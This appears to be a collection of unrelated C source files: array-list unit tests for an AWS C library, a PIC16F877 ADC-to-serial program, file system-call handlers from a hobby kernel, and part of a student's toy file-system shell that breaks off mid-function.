ASSERT_INT_EQUALS(AWS_ERROR_LIST_EMPTY, aws_last_error(), "Error code should have been LIST_EMPTY but was %d", aws_last_error()); aws_array_list_clean_up(&list); return 0; } AWS_TEST_CASE(array_list_clear_test, array_list_clear_test_fn) static int array_list_copy_test_fn(struct aws_allocator *alloc, void *ctx) { struct aws_array_list list_a; struct aws_array_list list_b; static size_t list_size = 4; ASSERT_SUCCESS(aws_array_list_init_dynamic(&list_a, alloc, list_size, sizeof(int)), "List initialization failed with error %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_init_dynamic(&list_b, alloc, 0, sizeof(int)), "List initialization failed with error %d", aws_last_error()); int first = 1, second = 2; ASSERT_SUCCESS(aws_array_list_push_back(&list_a, (void *)&first), "List push failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(1, list_a.length, "List size should be %d.", 1); ASSERT_SUCCESS(aws_array_list_push_back(&list_a, (void *)&second), "List push failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(2, list_a.length, "List size should be %d.", 2); ASSERT_SUCCESS(aws_array_list_copy(&list_a, &list_b), "List copy failed with error code %d", aws_last_error()); int item; ASSERT_SUCCESS(aws_array_list_get_at(&list_b, (void *)&item, 0), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(first, item, "Item should have been the first item."); ASSERT_SUCCESS(aws_array_list_get_at(&list_b, (void *)&item, 1), "Array set failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(second, item, "Item should have been the second item."); ASSERT_INT_EQUALS(aws_array_list_length(&list_a), aws_array_list_length(&list_b), "list lengths should have matched."); aws_array_list_clean_up(&list_a); aws_array_list_clean_up(&list_b); return 0; } AWS_TEST_CASE(array_list_copy_test, array_list_copy_test_fn) static int array_list_swap_contents_test_fn(struct aws_allocator *alloc, void *ctx) { /* build lists */ struct aws_array_list list_a; int a_1 = 1; int a_capacity = 1; ASSERT_SUCCESS(aws_array_list_init_dynamic(&list_a, alloc, a_capacity, sizeof(int))); ASSERT_SUCCESS(aws_array_list_push_back(&list_a, (void *)&a_1)); struct aws_array_list list_b; int b_1 = 5; int b_2 = 6; int b_capacity = 3; ASSERT_SUCCESS(aws_array_list_init_dynamic(&list_b, alloc, b_capacity, sizeof(int))); ASSERT_SUCCESS(aws_array_list_push_back(&list_b, (void *)&b_1)); ASSERT_SUCCESS(aws_array_list_push_back(&list_b, (void *)&b_2)); void *a_buffer; ASSERT_SUCCESS(aws_array_list_get_at_ptr(&list_a, &a_buffer, 0)); void *b_buffer; ASSERT_SUCCESS(aws_array_list_get_at_ptr(&list_b, &b_buffer, 0)); /* swap */ aws_array_list_swap_contents(&list_a, &list_b); /* compare state after swap */ void *a_buffer_after_swap; ASSERT_SUCCESS(aws_array_list_get_at_ptr(&list_a, &a_buffer_after_swap, 0)); ASSERT_PTR_EQUALS(b_buffer, a_buffer_after_swap, "Lists A and B should have swapped buffer ownership, but did not"); void *b_buffer_after_swap; ASSERT_SUCCESS(aws_array_list_get_at_ptr(&list_b, &b_buffer_after_swap, 0)); ASSERT_PTR_EQUALS(a_buffer, b_buffer_after_swap, "Lists A and B should have swapped buffer ownership, but did not"); int item; ASSERT_INT_EQUALS(2, aws_array_list_length(&list_a), "List A should have taken B's old length"); ASSERT_INT_EQUALS(b_capacity, aws_array_list_capacity(&list_a), "List A should have taken B's old capacity"); ASSERT_SUCCESS(aws_array_list_get_at(&list_a, &item, 0), "List A should have B's old first item"); ASSERT_INT_EQUALS(b_1, item, "List A should have B's old first item"); ASSERT_SUCCESS(aws_array_list_get_at(&list_a, &item, 1), "List A should have B's old second item"); ASSERT_INT_EQUALS(b_2, item, "List A should have B's old second item"); ASSERT_INT_EQUALS(1, aws_array_list_length(&list_b), "List B should have taken A's old length"); ASSERT_INT_EQUALS(a_capacity, aws_array_list_capacity(&list_b), "List B should have taken A's old capacity"); ASSERT_SUCCESS(aws_array_list_get_at(&list_b, &item, 0), "List B should have A's old first item"); ASSERT_INT_EQUALS(a_1, item, "List B should have A's old first item"); aws_array_list_clean_up(&list_a); aws_array_list_clean_up(&list_b); return 0; } AWS_TEST_CASE(array_list_swap_contents_test, array_list_swap_contents_test_fn) static int array_list_not_enough_space_test_fn(struct aws_allocator *alloc, void *ctx) { struct aws_array_list list_a; struct aws_array_list list_b; static size_t list_size = 4; ASSERT_SUCCESS(aws_array_list_init_dynamic(&list_a, alloc, list_size, sizeof(int)), "List initialization failed with error %d", aws_last_error()); ASSERT_SUCCESS(aws_array_list_init_dynamic(&list_b, alloc, 1, sizeof(int)), "List initialization failed with error %d", aws_last_error()); int first = 1, second = 2; ASSERT_SUCCESS(aws_array_list_push_back(&list_a, (void *)&first), "List push failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(1, list_a.length, "List size should be %d.", 1); ASSERT_SUCCESS(aws_array_list_push_back(&list_a, (void *)&second), "List push failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(2, list_a.length, "List size should be %d.", 2); ASSERT_SUCCESS(aws_array_list_copy(&list_a, &list_b), "Copy from list_a to list_b should have succeeded"); ASSERT_INT_EQUALS(list_a.length, list_b.length, "List b should have grown to the length of list a"); ASSERT_INT_EQUALS(2 * sizeof(int), list_b.current_size, "List b should have grown to the size of the number of elements in list a"); aws_array_list_clean_up(&list_a); aws_array_list_clean_up(&list_b); return 0; } AWS_TEST_CASE(array_list_not_enough_space_test, array_list_not_enough_space_test_fn) static int array_list_not_enough_space_test_failure_fn(struct aws_allocator *alloc, void *ctx) { struct aws_array_list list_a; struct aws_array_list list_b; static size_t list_size = 4; int static_list[1]; ASSERT_SUCCESS(aws_array_list_init_dynamic(&list_a, alloc, list_size, sizeof(int)), "List initialization failed with error %d", aws_last_error()); aws_array_list_init_static(&list_b, static_list, 1, sizeof(int)); int first = 1, second = 2; ASSERT_SUCCESS(aws_array_list_push_back(&list_a, (void *)&first), "List push failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(1, list_a.length, "List size should be %d.", 1); ASSERT_SUCCESS(aws_array_list_push_back(&list_a, (void *)&second), "List push failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(2, list_a.length, "List size should be %d.", 2); ASSERT_ERROR(AWS_ERROR_DEST_COPY_TOO_SMALL, aws_array_list_copy(&list_a, &list_b), "Copying to a static list too small should have failed with TOO_SMALL but got %d instead", aws_last_error()); aws_array_list_clean_up(&list_a); aws_array_list_clean_up(&list_b); return 0; } AWS_TEST_CASE(array_list_not_enough_space_test_failure, array_list_not_enough_space_test_failure_fn) static int array_list_of_strings_sort_fn(struct aws_allocator *alloc, void *ctx) { AWS_STATIC_STRING_FROM_LITERAL(empty, ""); AWS_STATIC_STRING_FROM_LITERAL(foo, "foo"); AWS_STATIC_STRING_FROM_LITERAL(bar, "bar"); AWS_STATIC_STRING_FROM_LITERAL(foobar, "foobar"); AWS_STATIC_STRING_FROM_LITERAL(foo2, "foo"); AWS_STATIC_STRING_FROM_LITERAL(foobaz, "foobaz"); AWS_STATIC_STRING_FROM_LITERAL(bar_food, "bar food"); AWS_STATIC_STRING_FROM_LITERAL(bar_null_food, "bar\0food"); AWS_STATIC_STRING_FROM_LITERAL(bar_null_back, "bar\0back"); const struct aws_string * strings[] = {empty, foo, bar, foobar, foo2, foobaz, bar_food, bar_null_food, bar_null_back}; const struct aws_string * sorted[] = {empty, bar, bar_null_back, bar_null_food, bar_food, foo, foo2, foobar, foobaz}; int num_strings = sizeof(strings)/sizeof(const struct aws_string *); struct aws_array_list list; ASSERT_SUCCESS(aws_array_list_init_dynamic(&list, alloc, num_strings, sizeof(const struct aws_string *)), "List initialization failed with error %d", aws_last_error()); for (int idx = 0; idx < num_strings; ++idx) { ASSERT_SUCCESS(aws_array_list_push_back(&list, (void *)(strings + idx)), "List push failed with error code %d", aws_last_error()); } aws_array_list_sort(&list, aws_array_list_comparator_string); /* No control over whether foo or foo2 will be first, but checking for string equality with sorted array * makes that irrelevant. */ for (int idx = 0; idx < num_strings; ++idx) { const struct aws_string * str; ASSERT_SUCCESS(aws_array_list_get_at(&list, (void **)&str, idx), "List get failed with error code %d", aws_last_error()); ASSERT_INT_EQUALS(0, aws_string_compare(str, sorted[idx]), "Strings should be equal"); } aws_array_list_clean_up(&list); return 0; } AWS_TEST_CASE(array_list_of_strings_sort, array_list_of_strings_sort_fn) static int array_list_empty_sort_fn(struct aws_allocator *alloc, void *ctx) { struct aws_array_list list; ASSERT_SUCCESS(aws_array_list_init_dynamic(&list, alloc, 5, sizeof(const struct aws_string *)), "List initialization failed with error %d", aws_last_error()); /* Nothing much to check, just want to make sure sort run on empty list doesn't crash. */ ASSERT_INT_EQUALS(0, aws_array_list_length(&list)); ASSERT_INT_EQUALS(5, aws_array_list_capacity(&list)); aws_array_list_sort(&list, aws_array_list_comparator_string); ASSERT_INT_EQUALS(0, aws_array_list_length(&list)); ASSERT_INT_EQUALS(5, aws_array_list_capacity(&list)); aws_array_list_clean_up(&list); return 0; } AWS_TEST_CASE(array_list_empty_sort, array_list_empty_sort_fn)
C
/* Realizar un programa el cual constantemente transmita el resultado de la conversin a la terminal, y cada 30 segundos interrumpa la ejecucin de este y enve un mensaje */ #include <16f877.h> #device ADC=10 #fuses HS,NOPROTECT, #use delay(clock=20000000) //Configuracin Puerto SERIAL #use rs232(baud=9600, xmit=PIN_C6, rcv=PIN_C7) #org 0x1F00, 0x1FFF void loader16F877(void) {} long var; int16 contador=0; #int_rtcc clock_isr(){ contador++; if(contador==2310){ printf("\nPONGANOS 10 POR FAVOR\n"); contador=0; } } void main(){ setup_port_a(ALL_ANALOG); // Configura PORTA como analgico setup_adc(ADC_CLOCK_INTERNAL); // Relog interno de Conv. A/D set_adc_channel(0); // Seleccin del Canal 0 set_timer0(0); // Inicia el timer0 en 00H setup_counters(RTCC_INTERNAL,RTCC_DIV_256); enable_interrupts(INT_RTCC); // Habilita la interrupcin TIMER0 enable_interrupts(GLOBAL); // Habilita interrupciones generales while(1){ delay_us(20); // Retardo var=read_adc(); // Resultado de la Conversin delay_us(20); printf(" voltaje =%lu [dec], %LX [hex], %2f[v]\n\r ",var,var,(var*0.0196)); delay_ms(100); //Retardo } }
C
#include <micro/sys.h> #include <micro/vfs.h> #include <micro/fcntl.h> #include <micro/stdlib.h> #include <micro/try.h> int do_sys_open(const char* path, uint32_t flags, mode_t mode) { struct task* task = task_curr(); struct file file; for (unsigned int i = 0; i < FD_MAX; i++) { if (!task->fds[i] && i >= 3) { int e = vfs_open(path, &file, flags); if (e == -ENOENT) { if (!(flags & O_CREAT)) return e; e = vfs_mknod(path, (mode & ~task->umask) | S_IFREG, 0, task->euid, task->egid); if (e) return e; vfs_open(path, &file, flags); } else if (flags & O_EXCL) return -EEXIST; if (e) return e; if ((flags & 3) == O_RDONLY || (flags & 3) == O_RDWR) CHECK_RPERM(file.inode); if ((flags & 3) == O_WRONLY || (flags & 3) == O_RDWR) CHECK_WPERM(file.inode); task->fds[i] = memdup(&file, sizeof(struct file)); return i; } } // Out of file slots return -EMFILE; } // TODO: make opening files better and more organized SYSCALL_DEFINE(open, const char* path, uint32_t flags, mode_t mode) { PTRVALID(path); // Must specify an access mode if ((flags & 3) > 2) return -EINVAL; struct task* task = task_curr(); char canon[256]; vfs_mkcanon(path, task->workd, canon); return do_sys_open(canon, flags, mode); } SYSCALL_DEFINE(close, int fd) { FDVALID(fd); struct task* task = task_curr(); vfs_close(task->fds[fd]); task->fds[fd] = NULL; return 0; } SYSCALL_DEFINE(access, const char* pathname, int mode) { PTRVALID(pathname); char canon[256]; vfs_mkcanon(pathname, task_curr()->workd, canon); return vfs_access(canon, mode); } // TODO: add PATH_MAX macro SYSCALL_DEFINE(chdir, const char* path) { PTRVALID(path); struct task* task = task_curr(); char canon[256]; vfs_mkcanon(path, task->workd, canon); struct file dir; TRY(vfs_open(canon, &dir, O_RDONLY)); if (!S_ISDIR(dir.inode->mode)) return -ENOTDIR; strcpy(task->workd, canon); return 0; } SYSCALL_DEFINE(getcwd, char* buf, size_t size) { PTRVALID(buf); if (size == 0) return -EINVAL; struct task* task = task_curr(); if (size < strlen(task->workd) + 1) return -ERANGE; strcpy(buf, task->workd); return (uintptr_t)buf; } SYSCALL_DEFINE(chmod, const char* pathname, mode_t mode) { PTRVALID(pathname); char canon[256]; vfs_mkcanon(pathname, task_curr()->workd, canon); struct file file; TRY(vfs_open(canon, &file, O_RDONLY)); if (task_curr()->euid && task_curr()->euid && file.inode->uid != task_curr()->euid) return -EPERM; return vfs_chmod(&file, mode); } // Change file permissions of file referred to by 'fd' SYSCALL_DEFINE(fchmod, int fd, mode_t mode) { FDVALID(fd); // Must be the owner or root if (task_curr()->euid && task_curr()->fds[fd]->inode->uid != task_curr()->euid) return -EPERM; return vfs_chmod(task_curr()->fds[fd], mode); } int do_chown(const char* path, uid_t uid, gid_t gid, int symlinks) { char canon[256]; vfs_mkcanon(path, task_curr()->workd, canon); uint32_t mode = O_RDONLY; if (!symlinks) mode |= O_PATH | O_NOFOLLOW; struct file file; TRY(vfs_open(canon, &file, mode)); // Must be root if (task_curr()->euid) return -EPERM; return vfs_chown(&file, uid, gid); } // Change ownership of file SYSCALL_DEFINE(chown, const char* path, uid_t uid, uid_t gid) { PTRVALID(path); return do_chown(path, uid, gid, 1); } // Change ownership of file referred to by 'fd' SYSCALL_DEFINE(fchown, int fd, uid_t owner, gid_t group) { FDVALID(fd); if (task_curr()->euid) return -EPERM; return vfs_chown(task_curr()->fds[fd], owner, group); } // Change ownership of file without following symlinks SYSCALL_DEFINE(lchown, const char* path, uid_t owner, gid_t group) { PTRVALID(path); return do_chown(path, owner, group, 0); }
C
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<math.h> #include<unistd.h> #include<sys/stat.h> // for open() #include<sys/types.h> #include<fcntl.h> // for open() #include <sys/types.h> #include <dirent.h> // for DIR // SOME DEFINITIONS USED #define MAX_TERM_SIZE 30 #define MAX_NAME_WORDSIZE 30 // Maximum word size in each command #define MAX_DATABLOCK_PER_FILE 16 // Per file the maximum no. of data blocks #define permissible_command_size 10 // Maximum number of words in a command #define SUPERBLOCK_BLOCK_COUNT 20 // Number of blocks required for Superblock (redundancy required) #define MAX_INODE_COUNT 1024 // Maximum number of inode blocks that a FIle System can hold #define BLOCK_COUNT 20280 // (Total no. of blocks in FIle System)Inode Blocks + Data blocks(without superblock) #define MAX_DATABLOCK_COUNT 1024*16-20 /* Maximum number of data blocks that a FIle System can hold (max_inode_blocks*max_db_perfile) - no.of sb count */ #define IBM_SIZE 128 // Inode Bitmap maximum size #define DBM_SIZE 2327 // Datablock BitMap maximum size #define MAX_FOLDER_DBLOCK_CONTENT 10 // Maximum number of contents of folder #define MAX_FS_COUNT 10 // Maximum number of FileSystem instances implemented #define FILE_PATH_DEPTH_MAX 5 // Maximum Depth of path of a file // Define Colors to be used during warnings #define ANSI_COLOR_RED "\x1b[31m" #define ANSI_COLOR_GREEN "\x1b[32m" #define ANSI_COLOR_YELLOW "\x1b[33m" #define ANSI_COLOR_BLUE "\x1b[34m" #define ANSI_COLOR_MAGENTA "\x1b[35m" #define ANSI_COLOR_CYAN "\x1b[36m" #define ANSI_COLOR_RESET "\x1b[0m" /* First we need to create a structure for superblock, inode block and data blocks that will be stores as File System and will contain necessary info about each files implemented in our FileSystem */ // INODE STRUCTURE FOR THE FILE SYSTEM struct inode{ int type; // type : whether its a file or a folder int id_inode; // the corresuper_blockinding id of the inode int size; // Indicates size of file/folder char *name;// Indicating name of file/folder int dblock_count;// Indicating number of datablocks for file int dblock[MAX_DATABLOCK_PER_FILE];// Array of block numbers for datablocks of the file/folder }; // SuperBlock Structure struct SB{ long int filesize;// File size of the osfile of the FileSystem long int blocksize;// Size of each block int inode_count;// Number of inodes int dblock_count;// Number of data blocks int free_inode;// Number of free inodes int free_DB;// Number of free datablocks int inode_start;// Block number where inode starts int dblock_start;// Block number where data block starts int inode_root; // Inode Number where information of root directory is stored int IBM[IBM_SIZE];// Bitmap of inodes ( 1 for used, 0 for free ) int DBM[DBM_SIZE];// Bitmap of data blocks ( 1 for used , 0 for free ) }; // Stucture to represent the datablock of a folder struct dblock_folder{ int id_inode; // Inode number of corresuper_blockonding inode to which the data block is related char *inode_name; // Name of Folder int dblock_no; // Indicates which data block it is occupying int content_count; // Denotes number of contents char *content_names[MAX_FOLDER_DBLOCK_CONTENT];// Array of Names of Contents of Folder int content_inodes[MAX_FOLDER_DBLOCK_CONTENT]; // Array of Inode Numbers of Contents of folder long int content_sizes[MAX_FOLDER_DBLOCK_CONTENT];//Array of sizes of contents }; // Filesystem structure struct FS{ char *FS_name;// Name of Mounted Drive char *File_name;// Name of source file of filesystem long int size; FILE *fd; struct SB sb;// Superblock of OS file }; struct FS FS_group[MAX_FS_COUNT]; // Creating an array of mounted File Systems /* FUNCTION DECLARATIONS */ //------USER INTERFACE FUNCTIONS------// char **Command_getter(char* command); // Accepts the command and breaks into words void exec_command(char **list_of_words); // Accepts the list of word and executes the command void screen_design(void); // designs the screen void help(void); // prints a list of implemented system calls //-----MY SYSTEM CALLS-----// void Make_FileSystem(char *filename,long int blockSize,long int fileSize);//Makes Filesystem on that OSFile void mount(char *filename,char *drive);// Mounts FS on OSFile(filename) as drive(drive) void cp(char *src,char *dest); // Copies file from src to dest void mov(char *src,char *dest); // Moves file from src to dest void write_file(char **path,char *str); // Writes str into file denoted by file path void readf(int Fsuper_blocks,int id_inode); void ls_file(char *filename); // -------------- AUXILLARY FUNCTIONS ------------------// struct SB *sup_block_init(long int fileSize,long int blockSize); // Initializes the superblock structure of the FS on (filename) struct SB *Read_SuperBlock(char *filename); // Reads the superblock structure of the FS on (filename) int file_system_location(char *c); // Finds the mounted FileSystem with drive name (c) from FS_group[] char **file_Pathname(char *c1); // Reads a path(c1) of a file and breaks it into "\" separated word array struct inode *readInode(int Fsuper_blocks,int id_inode); // Reads inode structure with inode no(id_inode) struct dblock_folder *readFolder(int Fsuper_blocks,int dblock_no); // Reads folder datablock given filename and data block number typedef int File; // Storing integer return type of open() under the name of File int FScount=0; // Storing index of unused FS in FS array // COMMAND LINE FUNCTIONS TO BE USED // Storing the commands entered by the user from the command line char **Command_getter(char *c1){ // Gets the command from the user // This will be used later for parsing the command char **command;//stores the list of words of the command int l;//Stores length of command int index; int i,j; // Allocating space for maximum possible command size command=(char **)malloc(permissible_command_size*sizeof(char *)); index=0; j=0; l=strlen(c1); for(i=0;i<permissible_command_size;i++) {command[i]=(char *)malloc(MAX_TERM_SIZE*sizeof(char)); } for(i=0;i<l;i++){ if(c1[i]!=' ') // Stripping the whole command by space command[index][j++]=c1[i]; else{ command[index][j]='\0'; // array by a NULL and go to next entry in array to start j=0; index++;} } command[index][j]='\0'; return command; } //Takes the list of words and executes te command void exec_command(char **command){ if(strcmp(command[0],"use")==0){ // Performing the Mounting operation using sys call "use" printf(ANSI_COLOR_MAGENTA "Mounting FileSystem" ANSI_COLOR_RESET "\n"); mount(command[1],command[3]); } else if(strcmp(command[0],"cp")==0){ cp(command[1],command[2]); // Perform the copy function } else if(strcmp(command[0],"mkfs")==0){ long int fileSize; long int blockSize; fileSize=10*(command[3][0]-'0')+command[3][1]-'0';//Extracting filesize from command sscanf(command[2],"%ld",&blockSize); //Extracting blocksize from command printf(ANSI_COLOR_YELLOW "FILESYSTEM %s has been created" ANSI_COLOR_RESET "\n", command[1]); Make_FileSystem(command[1],blockSize,fileSize); //Creating File System on filename } else if(strcmp(command[0], "mv") == 0){ mov(command[1],command[2]); // performing the mov operation. } else if(strcmp(command[0], "ls") == 0){ char *file_name = command[1]; ls_file(*file_name) ; // Printing the stat of the file_name } else if(strcmp(command[0], "exit") == 0){ exit(1); // exit the program gracefully (terminate normally) // remove the corresponding file name // close all files } } void help(void){ printf("\n"); printf(ANSI_COLOR_CYAN"============================================================================="ANSI_COLOR_RESET "\n"); printf("The following are the list of implemented system calls for the File System : \n"); printf(ANSI_COLOR_BLUE"mount : Mounting File System"ANSI_COLOR_RESET"\n"); printf(ANSI_COLOR_BLUE"mkfs : Making a new FIle System"ANSI_COLOR_RESET"\n"); printf(ANSI_COLOR_BLUE"mov : moving file from one place to another"ANSI_COLOR_RESET"\n"); printf(ANSI_COLOR_BLUE"cp : copying file from one place to another\n"); printf("ls : Printing the contents of a folder\n"); printf("exit : Exitting out from the current FIle System"ANSI_COLOR_RESET "\n"); printf(ANSI_COLOR_CYAN"============================================================================="ANSI_COLOR_RESET"\n"); } void screen_design(void){ system("clear"); int i; for(i=0;i<8;i++){ printf("\n");} printf(" ==================================================\n"); printf("\n"); printf("\033[22;34m File System Implementation\033[0m\n"); printf(ANSI_COLOR_MAGENTA" Maintainer : Prateek Chanda"ANSI_COLOR_RESET"\n"); printf("\n"); // printf("\n"); printf(" ===================================================\n"); for(i=0;i<10;i++){ printf("\n");} } /* Creating the File System with block size = block_Size with the OSfile sized file_Size First we need to create the file , which will contain info about the initilized info about the Super block for the root directory inode. Secondly it will contain the inode and the data block of the root folder*/ void Make_FileSystem(char *filename,long int block_Size,long int file_Size){ struct SB *sb,*sup_b; // creating the superblock struct inode *in; // inode instance created sup_b = (struct SB *)malloc(sizeof(struct SB)); //Allocating super_blockace to store SB sb=sup_block_init(file_Size,block_Size); // initialize the Super Block with the given parameters File fp; fp=open(filename,O_CREAT|O_RDWR); // Open file descriptor of the OSfile chmod(filename,0777); // Setting permissions for above file (Read, Write, Execute Permissions) // Handling Exceptions if(fp==-1){ printf(ANSI_COLOR_RED"Warning ! Error opensing OSFile !!!"ANSI_COLOR_RESET"\n"); return; } // else if file can be opened ftruncate(fp,file_Size);// Setting size of OSFile to file_Size (it may be different than file_Size) //Initialize SB for root directory inode sb->free_inode--; // decrease free sb->free_DB--;// decrease free sb->IBM[0]=128; // bitmap initialization sb->DBM[0]=128; lseek(fp,0,SEEK_SET); // FIle pointer positioning to write write(fp,(void *)sb,sizeof(*sb)); // write into the file the initial information of superblock //Initializing root directory inode in=(struct inode *)malloc(sizeof(struct inode)); in->type=0; in->name="root"; in->id_inode=1; in->dblock_count=0; for(int i=0;i<in->dblock_count;i++){ in->dblock[i]=0; } //Initializing the datablock for root folder struct dblock_folder f1; f1.id_inode=in->id_inode; f1.inode_name=(char *)malloc(MAX_NAME_WORDSIZE*sizeof(char)); strcpy(f1.inode_name,in->name); // copy the folder name of root inode ("root") f1.dblock_no=1;//Since this is the first dblock for the inode f1.content_count=0;//Root folder empty as of now for(int i=0;i<MAX_FOLDER_DBLOCK_CONTENT;i++){ f1.content_names[i]=(char *)malloc(MAX_NAME_WORDSIZE*sizeof(char)); f1.content_inodes[i]=0; } in->dblock_count++; in->dblock[in->dblock_count-1]=f1.dblock_no; //Writing root directory inode long int index_pos=sb->inode_start+(sb->inode_root-1)*block_Size; //Setting offset for writing root folder lseek(fp,index_pos,SEEK_SET); // Setting file descriptor write(fp,(void *)in,sizeof(*in)); // Writing //Writing root directory folder datablock index_pos=sb->dblock_start+(f1.dblock_no-1)*block_Size; lseek(fp,index_pos,SEEK_SET); // Setting file descriptor write(fp,(void *)&f1,sizeof(f1)); close(fp); // Close the file after everything has been written } //initializing the superblock struct SB *sup_block_init(long int FileSize,long int BlockSize){ struct SB *super_block; int i,j; super_block=(struct SB *)malloc(sizeof(struct SB)); //Allocating super_block for superblock super_block->filesize=FileSize*1048576; // 1 MB = 1048576 Bytes super_block->blocksize=BlockSize; super_block->inode_count=MAX_INODE_COUNT; // putting maximum inode count that it can hold for superblock super_block->dblock_count=MAX_DATABLOCK_COUNT; super_block->free_inode=super_block->inode_count; // since initially all are free super_block->free_DB=super_block->dblock_count; // since there are no data blocks initially for(i=0;i<MAX_INODE_COUNT/8;i++){ super_block->IBM[i]=0; // initially the IBM will contain all 0's , since everything is empty } for(j=0;j<MAX_DATABLOCK_COUNT/8;j++){ super_block->DBM[i]=0; // similarly initially the datablock_map will contain all 0's since everything is empty at first } // super_blockecifying the position of first inode super_block->inode_start=SUPERBLOCK_BLOCK_COUNT*super_block->blocksize; // super_blockecifying position of the first data block super_block->dblock_start=(super_block->inode_count+SUPERBLOCK_BLOCK_COUNT)*super_block->blocksize; super_block->inode_root=1; // root inode set to a value of 1 // returning the intialized superblock return super_block; } //Reads the superblock from the OSfile given by the filename struct SB *Read_SuperBlock(char *filename){ struct SB *super_block; super_block=(struct SB *)malloc(sizeof(struct SB)); //Allocating super_blockace to store SB File fd=open(filename,O_RDWR); lseek(fd,0,SEEK_SET); // position for reading read(fd,(void *)super_block,sizeof(*super_block)); //Reading SB from OSfile into super_block close(fd); return super_block; } // ----------------------------------------------------------------------- // IMPLEMENTATION OF MY SYSTEM CALLS void ls_file(char *fsname){ DIR *mydir; // creating a directory file pointer struct dirent *myfile; struct stat fs_stat; // will contain info about the directory char buf[512]; mydir = opendir(fsname); // open the directory if(mydir == NULL){ printf(ANSI_COLOR_RED"File Entered : ls cannot be operated"ANSI_COLOR_RESET"\n");} while((myfile = readdir(mydir)) != NULL){ // read the directory sprintf(buf, "%s/%s", *fsname, myfile->d_name); stat(buf, &fs_stat); printf("%zu",fs_stat.st_size); // printing the file sizes printf(" %s\n", myfile->d_name); // printing file name } closedir(mydir); // close the opened directory } // Our SYSTEM CALL FOR USE void mount(char *filename,char *drive){ //This function mounts File System on OSFile filename on drive(drive) struct SB *sb; int l=strlen(drive); FILE *fp; //FS_group = array of mounted FS //Setting drive name of mounted FS FS_group[FScount].FS_name=(char *)malloc(MAX_NAME_WORDSIZE*sizeof(char)); strcpy(FS_group[FScount].FS_name,drive); printf(ANSI_COLOR_BLUE"New FIle System Created = %s"ANSI_COLOR_RESET"\n",FS_group[FScount].FS_name); FS_group[FScount].File_name=(char *)malloc(MAX_NAME_WORDSIZE*sizeof(char)); strcpy(FS_group[FScount].File_name,filename); fp = open(filename,O_RDWR); FS_group[FScount].fd=fp; //Setting fileDescriptor of mounted FS FS_group[FScount].sb=*(Read_SuperBlock(filename)); //Setting superblock of mounted FS FS_group[FScount].size=FS_group[FScount].sb.filesize; //Setting size of mounted FS FScount++; //Increasing the index to the next unused location in FS_group } void cp(char *src,char *dest){ // src file to be moved over to the dest file char *p1,*p2; // will be used for searching for character occurence in a string int mode; // kernel / user mode char **pathr; // path of the file to be read char **pathw; // path of the file to be written into //strchr return char pointer to first occurence of a character in a string, returns NULL if not found p1=strchr(src,':'); p2=strchr(dest,':'); /*Searches both file for presence of ':'. OS FIle will not have ':' since its a simple osfile */ if(p1==NULL && p2==NULL) // incase of os file hence p1 or p2 will be null mode =0; // kernel mode else if(p1==NULL && p2!=NULL) // src is an OSFile but dest is not one OSFile mode =1; // user mode else if(p1!=NULL && p2 == NULL) // if src is an user file and dest is an OSFile mode = 2; if(mode == 0){ //Both pointers = NULL, Thereby both OS files printf(ANSI_COLOR_RED"Permission Denied : Both are OS Files"ANSI_COLOR_RESET"\n"); exit(1);} if(mode == 2){ printf(ANSI_COLOR_RED"Permission Denied : Cannot Write into an OS File"ANSI_COLOR_RESET"\n");} if(mode == 1){ int size; int fds; fds=open(src,O_RDWR); // open file with name src in read/write mode size=lseek(fds,0,SEEK_END); //Size of source OS file char *reads=(char *)malloc(size*sizeof(char)); lseek(fds,0,SEEK_SET); read(fds,(void *)reads,size);//Reads from source OS file pathw=file_Pathname(dest); //get the destination file path_name write_file(pathw,reads); // write into the file } } // SYSTEM call FOR MOVING FILE FROM ONE LOCATION TO ANOTHER void mov(char *src,char *dest){ // src file to be moved over to the dest file char *p1,*p2; // will be used for searching for character occurence in a string int mode; // kernel / user mode char **pathr; // path of the file to be read char **pathw; // path of the file to be written into //strchr return char pointer to first occurence of a character in a string, returns NULL if not found p1=strchr(src,':'); p2=strchr(dest,':'); /*Searches both file for presence of ':'. OS FIle will not have ':' since its a simple osfile */ if(p1==NULL && p2==NULL) // incase of os file hence p1 or p2 will be null mode =0; // kernel mode else if(p1==NULL && p2!=NULL) // src is an OSFile but dest is not one OSFile mode =1; // user mode else if(p1!=NULL && p2 == NULL) // if src is an user file and dest is an OSFile mode = 2; if(mode == 0){ //Both pointers = NULL, Thereby both OS files printf(ANSI_COLOR_RED"Permission Denied : Both are OS Files"ANSI_COLOR_RESET"\n"); exit(0);} if(mode == 2){ printf(ANSI_COLOR_RED"Permission Denied : Cannot Write into an OS File"ANSI_COLOR_RESET"\n");} if(mode == 1){ int size; int fds; fds=open(src,O_RDWR); // open file with name src in read/write mode size=lseek(fds,0,SEEK_END); //Size of source OS file char *reads=(char *)malloc(size*sizeof(char)); lseek(fds,0,SEEK_SET); read(fds,(void *)reads,size);//Reads from source OS file pathw=file_Pathname(dest); //get the destination file path_name write_file(pathw,reads); // write into the file //sup_block_init(file_Size,size); // delete the first file after moving(re-initialize) } } char **file_Pathname(char *cm){ char **command;//stores the list of words of the path int len;//Stores length of file path int ind; int i,j; command=(char **)malloc(FILE_PATH_DEPTH_MAX*sizeof(char *));// Allocating memory for entire word array ind=0; j=0; len=strlen(cm); for(i=0;i<FILE_PATH_DEPTH_MAX;i++) { command[i]=(char *)malloc(MAX_NAME_WORDSIZE*sizeof(char)); //Allocating memory for each word of the word array } for(i=0;i<len;i++){ // Storing the words character wise into the array of words if(cm[i]!='\\'){ command[ind][j++]=cm[i]; } else{ // If we encounter a '\', we end the present word of the command[ind][j]='\0'; // array by a NULL and go to next entry in array to start j=0; ind++; } } command[ind][j]='\0'; return command; } int file_system_location(char *c){ // Finds the filesystem in the FS array with name = "C:" int fs_pos; for(fs_pos=1;fs_pos<=FScount;fs_pos++){ // search through all the filesystems if(strcmp(FS_group[fs_pos].FS_name,c)==0) return fs_pos+1; } return -1; // if the corresponding file_system is not found } void write_file(char **path,char *str){ /*This function will write contents as given in str into the file mentioned by filepath=path*/ int Fsuper_blocks; struct FS f; struct inode 